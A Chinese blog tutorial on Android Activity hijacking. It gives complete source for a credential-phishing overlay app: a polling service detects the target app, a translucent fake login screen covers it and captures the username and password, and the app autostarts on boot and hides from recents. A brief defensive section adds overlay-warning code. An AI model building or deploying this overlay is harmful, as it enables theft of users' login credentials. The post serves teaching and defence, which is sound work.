原文地址:Activity劫持实例与防护手段 作者:cjxqhhh

(本文只用于学习技术,提高大家警觉,切勿用于非法用途!)

 

什么叫Activity劫持

 

这里举一个例子。用户打开安卓手机上的某一应用,进入到登陆页面,这时,恶意软件侦测到用户的这一动作,立即弹出一个与该应用

界面相同的Activity,覆盖掉了合法的Activity,用户几乎无法察觉,该用户接下来输入用户名和密码的操作其实是在恶意软件的Activity上进行的,接下来会发生什么就可想而知了。

实例

 

Activity劫持的危害是非常大的,它的具体实现和一些细节,我将会用一个完整的实例说明:

首先,我们在Android Studio中新建一个工程,项目结构如下:

activity_main.xml的内容:

点击(此处)折叠或打开

  1. <RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
  2. xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent"
  3. android:layout_height="match_parent" >
  4. <TextView
  5. android:layout_width="match_parent"
  6. android:layout_height="wrap_content"
  7. android:text="Normal Activity"
  8. android:gravity="center_horizontal"
  9. android:padding="10dp"
  10. android:background="#ffffff"/>
  11. <LinearLayout
  12. android:id="@+id/Layout1"
  13. android:layout_width="wrap_content"
  14. android:layout_height="wrap_content"
  15. android:layout_centerHorizontal="true"
  16. android:layout_marginTop="80dp"
  17. android:orientation="horizontal">
  18. <TextView
  19. android:text="UserName"
  20. android:layout_width="wrap_content"
  21. android:layout_height="wrap_content"
  22. android:textColor="#000000"
  23. android:textSize="20dp" />
  24. <EditText
  25. android:id="@+id/UserNameEdit"
  26. android:layout_width="100dp"
  27. android:layout_height="wrap_content" />
  28. </LinearLayout>
  29. <LinearLayout
  30. android:id="@+id/Layout2"
  31. android:layout_width="wrap_content"
  32. android:layout_height="wrap_content"
  33. android:layout_centerHorizontal="true"
  34. android:layout_marginTop="50dp"
  35. android:orientation="horizontal"
  36. android:layout_below="@id/Layout1">
  37. <TextView
  38. android:text="Password"
  39. android:layout_width="wrap_content"
  40. android:layout_height="wrap_content"
  41. android:textColor="#000000"
  42. android:textSize="20dp" />
  43. <EditText
  44. android:id="@+id/PasswordEdit"
  45. android:layout_width="100dp"
  46. android:layout_height="wrap_content" />
  47. </LinearLayout>
  48. <Button
  49. android:id="@+id/LoginButton"
  50. android:layout_width="wrap_content"
  51. android:layout_height="wrap_content"
  52. android:layout_below="@id/Layout2"
  53. android:layout_marginTop="5dp"
  54. android:layout_centerHorizontal="true"
  55. android:text="Login"/>
  56. </RelativeLayout>
activity_second.xml的内容:只是一个TextView控件,显示"Second Activity"而已,就不贴代码了。

MainActivity.java的内容:

点击(此处)折叠或打开

  1. package com.example.hac.normalapp;
  2. import android.app.Activity;
  3. import android.content.Intent;
  4. import android.os.Bundle;
  5. import android.view.View;
  6. import android.widget.Button;
  7. import android.widget.EditText;
  8. //一个简单的界面,模拟用户输入用户名、密码,点击按钮后就跳转到SecondActivity
  9. //只是为了演示正常的Activity而已,无实际功能
  10. public class MainActivity extends Activity {
  11. Button login = null;
  12. EditText userName = null;
  13. EditText password = null;
  14. @Override
  15. protected void onCreate(Bundle savedInstanceState) {
  16. super.onCreate(savedInstanceState);
  17. setContentView(R.layout.activity_main);
  18. login = (Button)findViewById(R.id.LoginButton);
  19. userName = (EditText)findViewById(R.id.UserNameEdit);
  20. password = (EditText)findViewById(R.id.PasswordEdit);
  21. login.setOnClickListener(new View.OnClickListener() {
  22. @Override
  23. public void onClick(View view) {
  24. Intent intent = new Intent(MainActivity.this, SecondActivity.class);
  25. //启动SecondActivity
  26. startActivity(intent);
  27. }
  28. });
  29. }
  30. }

SecondActivity.java的内容:无内容,就是一个空的Activity,用于显示activity_second.xml的内容而已,不贴代码啦。
AndroidMainfest.xml的内容:就是普通的内容,不贴代码了。

接下来是我们的恶意软件,再新建一个工程,项目结构如下:

activity_fakemain.xml的内容:我们伪造的Activity布局,模仿上面正常的Activity布局。

点击(此处)折叠或打开

  1. <RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
  2. xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent"
  3. android:layout_height="match_parent" >
  4. <TextView
  5. android:layout_width="match_parent"
  6. android:layout_height="wrap_content"
  7. android:text="Normal Activity"
  8. android:gravity="center_horizontal"
  9. android:padding="10dp"
  10. android:background="#ffffff"
  11. android:visibility="invisible"/>
  12. <LinearLayout
  13. android:id="@+id/Layout1"
  14. android:layout_width="wrap_content"
  15. android:layout_height="wrap_content"
  16. android:layout_centerHorizontal="true"
  17. android:layout_marginTop="80dp"
  18. android:orientation="horizontal">
  19. <TextView
  20. android:text="UserName"
  21. android:layout_width="wrap_content"
  22. android:layout_height="wrap_content"
  23. android:textColor="#000000"
  24. android:textSize="20dp"
  25. android:visibility="invisible"/>
  26. <EditText
  27. android:id="@+id/UserNameEdit"
  28. android:layout_width="100dp"
  29. android:layout_height="wrap_content"
  30. android:visibility="invisible"/>
  31. </LinearLayout>
  32. <LinearLayout
  33. android:id="@+id/Layout2"
  34. android:layout_width="wrap_content"
  35. android:layout_height="wrap_content"
  36. android:layout_centerHorizontal="true"
  37. android:layout_marginTop="50dp"
  38. android:orientation="horizontal"
  39. android:layout_below="@id/Layout1">
  40. <TextView
  41. android:text="Password"
  42. android:layout_width="wrap_content"
  43. android:layout_height="wrap_content"
  44. android:textColor="#000000"
  45. android:textSize="20dp"
  46. android:visibility="invisible"/>
  47. <EditText
  48. android:id="@+id/PasswordEdit"
  49. android:layout_width="100dp"
  50. android:layout_height="wrap_content"
  51. android:visibility="invisible"/>
  52. </LinearLayout>
  53. <Button
  54. android:id="@+id/LoginButton"
  55. android:layout_width="wrap_content"
  56. android:layout_height="wrap_content"
  57. android:layout_below="@id/Layout2"
  58. android:layout_marginTop="5dp"
  59. android:layout_centerHorizontal="true"
  60. android:text="Login"
  61. android:visibility="invisible"/>
  62. </RelativeLayout>

activity_main.xml的内容:

点击(此处)折叠或打开

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
  3. android:orientation="vertical" android:layout_width="match_parent"
  4. android:layout_height="match_parent">
  5. <TextView
  6. android:layout_width="wrap_content"
  7. android:layout_height="wrap_content"
  8. android:text="Start"
  9. android:textSize="50dp"/>
  10. <Button
  11. android:id="@+id/StartServiceButton"
  12. android:layout_width="wrap_content"
  13. android:layout_height="wrap_content"
  14. android:text="StartService"
  15. android:padding="20dp"
  16. android:layout_gravity="center_horizontal"/>
  17. </LinearLayout>

activity_main.xml的内容:

点击(此处)折叠或打开

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
  3. android:orientation="vertical" android:layout_width="match_parent"
  4. android:layout_height="match_parent">
  5. <TextView
  6. android:layout_width="wrap_content"
  7. android:layout_height="wrap_content"
  8. android:text="Start"
  9. android:textSize="50dp"/>
  10. <Button
  11. android:id="@+id/StartServiceButton"
  12. android:layout_width="wrap_content"
  13. android:layout_height="wrap_content"
  14. android:text="StartService"
  15. android:padding="20dp"
  16. android:layout_gravity="center_horizontal"/>
  17. </LinearLayout>

AutoStartReceiver.java的内容:

点击(此处)折叠或打开

  1. package com.example.hac.evilapp;
  2. import android.content.BroadcastReceiver;
  3. import android.content.Context;
  4. import android.content.Intent;
  5. //用于开机自动启动HijackService的Receiver,它能够响应“android.intent.action.BOOT_COMPLETED”
  6. public class AutoStartReceiver extends BroadcastReceiver {
  7. @Override
  8. public void onReceive(Context context, Intent intent) {
  9. if (intent.getAction().equals("android.intent.action.BOOT_COMPLETED")) {
  10. Intent _intent = new Intent(context, HijackService.class);
  11. //启动HijackService
  12. context.startService(_intent);
  13. }
  14. }
  15. }

EvilApplication.java的内容:

点击(此处)折叠或打开

  1. package com.example.hac.evilapp;
  2. import android.app.Application;
  3. import java.util.ArrayList;
  4. import java.util.List;
  5. public class EvilApplication extends Application{
  6. //存放已经被劫持的程序
  7. List<String> hijackedList = new ArrayList<String>();
  8. public boolean hasProgressBeHijacked(String processName) {
  9. return hijackedList.contains(processName);
  10. }
  11. public void addHijacked(String processName) {
  12. hijackedList.add(processName);
  13. }
  14. public void clearHijacked() {
  15. hijackedList.clear();
  16. }
  17. }

FakeMainActivity.java的内容:

点击(此处)折叠或打开

  1. package com.example.hac.evilapp;
  2. import android.app.Activity;
  3. import android.os.Bundle;
  4. import android.view.View;
  5. import android.widget.Button;
  6. import android.widget.EditText;
  7. import android.widget.Toast;
  8. import java.util.Timer;
  9. import java.util.TimerTask;
  10. public class FakeMainActivity extends Activity {
  11. Button login = null;
  12. EditText userName = null;
  13. EditText password = null;
  14. @Override
  15. protected void onCreate(Bundle savedInstanceState) {
  16. super.onCreate(savedInstanceState);
  17. setContentView(R.layout.activity_fakemain);
  18. login = (Button)findViewById(R.id.LoginButton);
  19. userName = (EditText)findViewById(R.id.UserNameEdit);
  20. password = (EditText)findViewById(R.id.PasswordEdit);
  21. //下面这段代码主要是为了使用户更难察觉出我们伪造的Activity
  22. //原理是保证我们伪造的Activity已经覆盖在真实的Activity上后,再将我们的控件显示出来
  23. //我本来是想让我们伪造的Activity直接在原位淡入的,但没有实现,郁闷
  24. //无奈只能用这个本方法,如果大家有更好的办法,请赐教
  25. Timer timer = new Timer();
  26. TimerTask task = new TimerTask() {
  27. @Override
  28. public void run() {
  29. runOnUiThread(new Runnable(){
  30. @Override
  31. public void run() {
  32. userName.setVisibility(View.VISIBLE);
  33. password.setVisibility(View.VISIBLE);
  34. login.setVisibility(View.VISIBLE);
  35. }});
  36. }
  37. };
  38. timer.schedule(task, 1000);
  39. login.setOnClickListener(new View.OnClickListener() {
  40. @Override
  41. public void onClick(View view) {
  42. //这里为了显示效果,将用户输入的内容显示出来,真正的恶意软件则会直接将信息发送给自己
  43. Toast.makeText(getApplicationContext(), userName.getText().toString() + " / " + password.getText().toString(), Toast.LENGTH_LONG).show();
  44. //为了伪造的Activity弹出时不那么明显
  45. userName.setVisibility(View.INVISIBLE);
  46. password.setVisibility(View.INVISIBLE);
  47. login.setVisibility(View.INVISIBLE);
  48. finish();
  49. }
  50. });
  51. }
  52. }

HijackService.java的内容:

点击(此处)折叠或打开

  1. package com.example.hac.evilapp;
  2. import android.app.ActivityManager;
  3. import android.app.Service;
  4. import android.content.Context;
  5. import android.content.Intent;
  6. import android.os.Handler;
  7. import android.os.IBinder;
  8. import android.util.Log;
  9. import java.util.HashMap;
  10. import java.util.List;
  11. public class HijackService extends Service {
  12. //targetMap用于存放我们的目标程序
  13. HashMap<String, Class<?>> targetMap = new HashMap<String, Class<?>>();
  14. Handler handler = new Handler();
  15. boolean isStart = false;
  16. //我们新建一个Runnable对象,每隔200ms进行一次搜索
  17. Runnable searchTarget = new Runnable() {
  18. @Override
  19. public void run() {
  20. //得到ActivityManager
  21. ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
  22. //通过ActivityManager将当前正在运行的进程存入processInfo中
  23. List<ActivityManager.RunningAppProcessInfo> processInfo = activityManager.getRunningAppProcesses();
  24. Log.w("恶意软件", "遍历进程");
  25. //遍历processInfo中的进程信息,看是否有我们的目标
  26. for (ActivityManager.RunningAppProcessInfo _processInfo : processInfo) {
  27. //若processInfo中的进程正在前台且是我们的目标进程,则调用hijack方法进行劫持
  28. if (_processInfo.importance == ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND) {
  29. if (targetMap.containsKey(_processInfo.processName)) {
  30. // 调用hijack方法进行劫持
  31. hijack(_processInfo.processName);
  32. } else {
  33. Log.w("进程", _processInfo.processName);
  34. }
  35. }
  36. }
  37. handler.postDelayed(searchTarget, 200);
  38. }
  39. };
  40. //进行Activity劫持的函数
  41. private void hijack(String processName) {
  42. //这里判断我们的目标程序是否已经被劫持过了
  43. if (((EvilApplication) getApplication())
  44. .hasProgressBeHijacked(processName) == false) {
  45. Log.w("恶意软件", "开始劫持"+processName);
  46. Intent intent = new Intent(getBaseContext(),
  47. targetMap.get(processName));
  48. //这里必须将flag设置为Intent.FLAG_ACTIVITY_NEW_TASK,这样才能将我们伪造的Activity至于栈顶
  49. intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
  50. //启动我们伪造的Activity
  51. getApplication().startActivity(intent);
  52. //将目标程序加入到已劫持列表中
  53. ((EvilApplication) getApplication()).addHijacked(processName);
  54. Log.w("恶意软件", "已经劫持");
  55. }
  56. }
  57. @Override
  58. public void onStart(Intent intent, int startId) {
  59. super.onStart(intent, startId);
  60. if (!isStart) {
  61. //将我们的目标加入targetMap中
  62. //这里,key为我们的目标进程,value为我们伪造的Activity
  63. targetMap.put("com.example.hac.normalapp",
  64. FakeMainActivity.class);
  65. //启动searchTarget
  66. handler.postDelayed(searchTarget, 1000);
  67. isStart = true;
  68. }
  69. }
  70. @Override
  71. public boolean stopService(Intent name) {
  72. isStart = false;
  73. Log.w("恶意软件", "停止劫持");
  74. //清空劫持列表
  75. ((EvilApplication) getApplication()).clearHijacked();
  76. //停止searchTarget
  77. handler.removeCallbacks(searchTarget);
  78. return super.stopService(name);
  79. }
  80. @Override
  81. public IBinder onBind(Intent intent) {
  82. return null;
  83. }
  84. }

StartServiceActivity.java的内容:

点击(此处)折叠或打开

  1. package com.example.hac.evilapp;
  2. import android.app.Activity;
  3. import android.content.Intent;
  4. import android.os.Bundle;
  5. import android.view.View;
  6. import android.widget.Button;
  7. //用于手动启动我们的HijackService,真正的恶意软件通常不会有这样的一个Activity
  8. public class StartServiceActivity extends Activity {
  9. Button startButton = null;
  10. @Override
  11. public void onCreate(Bundle savedInstanceState) {
  12. super.onCreate(savedInstanceState);
  13. setContentView(R.layout.activity_main);
  14. startButton = (Button)findViewById(R.id.StartServiceButton);
  15. startButton.setOnClickListener(new View.OnClickListener() {
  16. @Override
  17. public void onClick(View view) {
  18. Intent intent2 = new Intent(StartServiceActivity.this, HijackService.class);
  19. startService(intent2);
  20. }
  21. });
  22. }
  23. }

colors.xml的内容:

点击(此处)折叠或打开

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <resources>
  3. <color name="translucent_background">#00000000</color>>
  4. </resources>

styles.xml的内容:

点击(此处)折叠或打开

  1. <resources>
  2. <!-- Base application theme. -->
  3. <style name="AppTheme" parent="Theme.AppCompat.Light.DarkActionBar">
  4. <!-- Customize your theme here. -->
  5. </style>
  6. <style name="translucent" parent="Theme.AppCompat.Light.DarkActionBar">
  7. <item name="android:windowBackground">@color/translucent_background</item>
  8. <item name="android:windowIsTranslucent">true</item>
  9. <item name="android:windowAnimationStyle">@android:style/Animation.Translucent</item>
  10. </style>
  11. </resources>

AndroidMainfest.xml的内容:注意HijackService和AutoStartReceiver要在这里注册,且要添加相应的权限。另外,添加andorid:excludeFromRecent="true"这一项能够防止我们的恶意程序在最近访问列表中出现,这将提升其危险程度。

点击(此处)折叠或打开

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <manifest xmlns:android="http://schemas.android.com/apk/res/android"
  3. package="com.example.hac.evilapp" >
  4. <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
  5. <application
  6. android:name=".EvilApplication"
  7. android:allowBackup="true"
  8. android:icon="@drawable/ic_launcher"
  9. android:label="@string/app_name"
  10. android:theme="@style/AppTheme" >
  11. <activity
  12. android:name=".StartServiceActivity"
  13. android:label="@string/app_name"
  14. android:excludeFromRecents="true">
  15. <intent-filter>
  16. <action android:name="android.intent.action.MAIN" />
  17. <category android:name="android.intent.category.LAUNCHER" />
  18. </intent-filter>
  19. </activity>
  20. <activity android:name=".FakeMainActivity" android:excludeFromRecents="true" android:theme="@style/translucent"/>
  21. <service android:name=".HijackService" ></service>
  22. <receiver
  23. android:name=".AutoStartReceiver"
  24. android:enabled="true"
  25. android:exported="true" >
  26. <intent-filter>
  27. <action android:name="android.intent.action.BOOT_COMPLETED" />
  28. </intent-filter>
  29. </receiver>
  30. </application>
  31. </manifest>

项目工程下载(ChinaUnix对文件大小有限制,只能传百度网盘了):
http://pan.baidu.com/s/1eQ8JF5w

防护手段

 
目前,还没有什么专门针对Activity劫持的防护方法,因为,这种攻击是用户层面上的,目前还无法从代码层面上根除。
但是,我们可以适当地在APP中给用户一些警示信息,提示用户其登陆界面以被覆盖,并给出覆盖正常Activity的类名,示例如下:
1、在前面建立的正常Activity的登陆界面(也就是MainActivity)中重写onKeyDown方法和onPause方法,这样一来,当其被覆盖时,就能够弹出警示信息,代码如下:

点击(此处)折叠或打开

  1. @Override
  2. public boolean onKeyDown(int keyCode, KeyEvent event) {
  3. //判断程序进入后台是否是用户自身造成的(触摸返回键或HOME键),是则无需弹出警示。
  4. if((keyCode==KeyEvent.KEYCODE_BACK || keyCode==KeyEvent.KEYCODE_HOME) && event.getRepeatCount()==0){
  5. needAlarm = false;
  6. }
  7. return super.onKeyDown(keyCode, event);
  8. }
  9. @Override
  10. protected void onPause() {
  11. //若程序进入后台不是用户自身造成的,则需要弹出警示
  12. if(needAlarm) {
  13. //弹出警示信息
  14. Toast.makeText(getApplicationContext(), "您的登陆界面被覆盖,请确认登陆环境是否安全", Toast.LENGTH_SHORT).show();
  15. //启动我们的AlarmService,用于给出覆盖了正常Activity的类名
  16. Intent intent = new Intent(this, AlarmService.class);
  17. startService(intent);
  18. }
  19. super.onPause();
  20. }

2、实现AlarmService.java,代码如下:

点击(此处)折叠或打开

  1. package com.example.hac.normalapp;
  2. import android.app.ActivityManager;
  3. import android.app.Service;
  4. import android.content.Context;
  5. import android.content.Intent;
  6. import android.os.Handler;
  7. import android.os.IBinder;
  8. import android.widget.Toast;
  9. public class AlarmService extends Service{
  10. boolean isStart = false;
  11. Handler handler = new Handler();
  12. Runnable alarmRunnable = new Runnable() {
  13. @Override
  14. public void run() {
  15. //得到ActivityManager
  16. ActivityManager activityManager = (ActivityManager)getSystemService(Context.ACTIVITY_SERVICE);
  17. //getRunningTasks会返回一个List,List的大小等于传入的参数。
  18. //get(0)可获得List中的第一个元素,即栈顶的task
  19. ActivityManager.RunningTaskInfo info = activityManager.getRunningTasks(1).get(0);
  20. //得到当前栈顶的类名,按照需求,也可以得到完整的类名和包名
  21. String shortClassName = info.topActivity.getShortClassName(); //类名
  22. //完整类名
  23. //String className = info.topActivity.getClassName();
  24. //包名
  25. //String packageName = info.topActivity.getPackageName();
  26. Toast.makeText(getApplicationContext(), "当前运行的程序为"+shortClassName, Toast.LENGTH_LONG).show();
  27. }
  28. };
  29. @Override
  30. public int onStartCommand(Intent intent, int flag, int startId) {
  31. super.onStartCommand(intent, flag, startId);
  32. if(!isStart) {
  33. isStart = true;
  34. //启动alarmRunnable
  35. handler.postDelayed(alarmRunnable, 1000);
  36. stopSelf();
  37. }
  38. return START_STICKY;
  39. }
  40. @Override
  41. public IBinder onBind(Intent intent) {
  42. return null;
  43. }
  44. }

3、最后在AndroidManifest.xml中注册AlarmService即可。

新手发文,写得不对不好的地方麻烦指出,谢谢。

Activity劫持实例与防护手段的更多相关文章

  1. 使用VS2012 开发SharePoint 2013 声明式的action(activity) 综合实例

    本文讲述使用VS2012 开发SharePoint 2013 声明式的action 综合实例. 需求同: http://blog.csdn.net/abrahamcheng/article/detai ...

  2. 跨站请求伪造(csrf)的防护手段

    CSRF CSRF全拼为Cross Site Request Forgery,译为跨站请求伪造. CSRF指攻击者盗用了你的身份,以你的名义发送恶意请求. 造成的问题:个人隐私泄露以及财产安全. CS ...

  3. SCRF的简介及防护手段

    CSRF全拼为Cross Site Request Forgery,译为跨站请求伪造. CSRF指攻击者盗用了你的身份,以你的名义发送恶意请求. 包括:以你名义发送邮件,发消息,盗取你的账号,甚至于购 ...

  4. Android APP漏洞挖掘

    0x00 1.组件公开安全漏洞 參考Android 组件安全. 2.Content Provider文件文件夹遍历漏洞 參考Content Provider文件文件夹遍历漏洞浅析. 3.Android ...

  5. 3. 移动安全渗透测试-(Android基础漏洞)

    3.1 数据存储漏洞 用户经常会把敏感数据交给app,比如:用户名and密码认证令牌联系人记录通信记录历史使用记录..... 只要愿意,app可以收集这些用户的隐私和个人信息明文存储或明文传输,通常保 ...

  6. Android移动APP开发笔记——Cordova(PhoneGap)通过CordovaPlugin插件调用 Activity 实例

    引言 Cordova(PhoneGap)采用的是HTML5+JavaScript混合模式来开发移动手机APP,因此当页面需要获取手机内部某些信息时(例如:联系人信息,坐标定位,短信等),程序就需要调用 ...

  7. 深入理解Activity -动手写实例来感受Activity的启动模式

    介绍 上篇提到了Activity的任务,任务栈,以及启动模式.对这些概念有了了解以后,自己写一下例子来感受一下,就当作复习和加深印象了.如果对概念不熟悉的可以参考:深入理解Activity-任务,回退 ...

  8. Android 一个Activity保存它自己的实例

    一个Activity保存他自己的实例的作用是,在其他Activity中可以方便的调用该Activity里的方法. 我们可以使用一个静态的变量保存当前Activity的实例,并将其标志为private访 ...

  9. activity生命周期实例(不同启动模式)

    1.生命周期的几个阶段介绍: onCreate: 表示activity被创建,做一些初始化工作如调用setContentView去加载界面布局资源.初始化Acitivity所需数据等. onResta ...

随机推荐

  1. flexbox布局

    一.侧轴对齐伸缩项目--align-items 它充许调整伸缩项目在侧轴(也就是y轴)的对齐方式,主要包括以下几个值: flex-start/baseline:伸缩项目在侧轴起点边的外边距紧靠住该行在 ...

  2. Windows 2012 R2图标以及字体颜色发生变化更改成默认设置

    1. 在桌面按"Win+R",然后输出regedit.2. 定位到HKEY_CURRENT_USER\Control panel\Colors3. 对照下面提供给您的初始化颜色的注 ...

  3. Android WIFI 分析(一)

    本文基于<深入理解Android WiFi NFC和GPS 卷>和 Android N 代码结合分析   WifiService 是 Frameworks中负责wifi功能的核心服务,它主 ...

  4. eclipse项目自动发布到tomcat目录,缺文件。

    eclipse项目自动发布到tomcat目录,缺文件. 解决方案: 项目--Properties-->Deployment Assembly-->Add--> Folder Add- ...

  5. 使用SVN时出现的文件缺失问题

    使用SVN的童鞋们,可能有三种提交代码的方法: 第一种使用客户端(例如SVNX,CornerStone): 第二种使用Xcode提交(Source Control -> commit): 第三种 ...

  6. notepad++ 离线插件下载

    http://www.cnblogs.com/findumars/p/5180562.html

  7. Linq group

    using System;using System.Collections.Generic;using System.Linq; public class MyClass{ public static ...

  8. 终端 git log 修改样式

    git config --global alias.lg "log --color --graph --pretty=format:'%Cred%h%Creset -%C(yellow)%d ...

  9. POJ 2135 Farm Tour 最小费用流

    两条路不能有重边,既每条边的容量是1.求流量为2的最小费用即可. //#pragma comment(linker, "/STACK:1024000000,1024000000") ...

  10. workflow createPath

    针对不同的流程,createpath不同,但是创建审批链,和创建表都有 1.GetUserInfoByListColumn 控件已创建的.先Rebuild,属性需要注意 2.CreateListIte ...